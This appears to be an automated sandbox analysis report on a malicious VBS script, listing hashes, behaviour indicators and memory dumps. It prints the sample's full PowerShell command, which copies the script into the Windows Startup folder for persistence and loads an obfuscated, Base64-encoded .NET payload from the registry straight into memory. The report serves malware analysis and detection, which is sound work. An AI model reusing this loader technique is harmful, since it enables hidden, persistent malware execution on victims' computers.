d7c3dc998aff3500b174b457e3d33892c25c49a8a49855841ac8ccc88c2fa14a

Analysis

max time kernel
142s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
25/08/2023, 01:33

Target

ddc70f87847a2e292a24d8dd711cb998a3da88e8b3255da22cefd311728704a1.vbs
Size

122KB
MD5

702c8a903304aa0299069b25f0a352b1
SHA1

1bfce30610ab9ca9f1ff4768363dcd8f9edc6db3
SHA256

ddc70f87847a2e292a24d8dd711cb998a3da88e8b3255da22cefd311728704a1
SHA512

f9296d0330c58ea8b89736901d4c9fe60eb949121488f845e803fdba27f51207c94edaef5025a3c68022d28e8e9aabbde0346ae104a93e488728d653cef8b47a
SSDEEP

3072:daDJVgK4aLaTjDq0F31P7mi8KPM0ENUK9sR66m4GaIE/Gwsab:dMfBLaTjOSFP7mi8YN09sR66m4GaIE/r

Score

7^/10

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Edutacion4Life.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Edutacion4Life.vbs	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3244	powershell.exe
3244	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3244	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3436 wrote to memory of 3244	3436	WScript.exe	87
PID 3436 wrote to memory of 3244	3436	WScript.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ddc70f87847a2e292a24d8dd711cb998a3da88e8b3255da22cefd311728704a1.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\ddc70f87847a2e292a24d8dd711cb998a3da88e8b3255da22cefd311728704a1.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Edutacion4Life.vbs'; $carbonize = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $carbonize = -join $carbonize[-1..-$carbonize.Length];[<##>AppDomain<##>]::<##>('sayneteurrentDomain'.replace('saynete','C'))<##>.<##>('Macatawaoad'.replace('Macatawa','L'))([Convert]::FromBase64String($carbonize))<##>.<##>('supratympanicntryPoint'.replace('supratympanic','E'))<##>.<##>('Inlyardoke'.replace('lyard','v'))($Null,$Null)<##>;
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3244

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ybf32hug.1zh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3244-0-0x0000014358850000-0x0000014358872000-memory.dmp

Filesize
136KB

Download
memory/3244-10-0x00007FFA60CF0000-0x00007FFA617B1000-memory.dmp

Filesize
10.8MB

Download
memory/3244-11-0x00000143567D0000-0x00000143567E0000-memory.dmp

Filesize
64KB

Download
memory/3244-12-0x00000143567D0000-0x00000143567E0000-memory.dmp

Filesize
64KB

Download
memory/3244-13-0x0000014358D60000-0x0000014358DA4000-memory.dmp

Filesize
272KB

Download
memory/3244-15-0x0000014358E30000-0x0000014358EA6000-memory.dmp

Filesize
472KB

Download
memory/3244-16-0x00007FFA60CF0000-0x00007FFA617B1000-memory.dmp

Filesize
10.8MB

Download
memory/3244-17-0x00000143567D0000-0x00000143567E0000-memory.dmp

Filesize
64KB

Download
memory/3244-18-0x00000143567D0000-0x00000143567E0000-memory.dmp

Filesize
64KB

Download
memory/3244-19-0x00000143567D0000-0x00000143567E0000-memory.dmp

Filesize
64KB

Download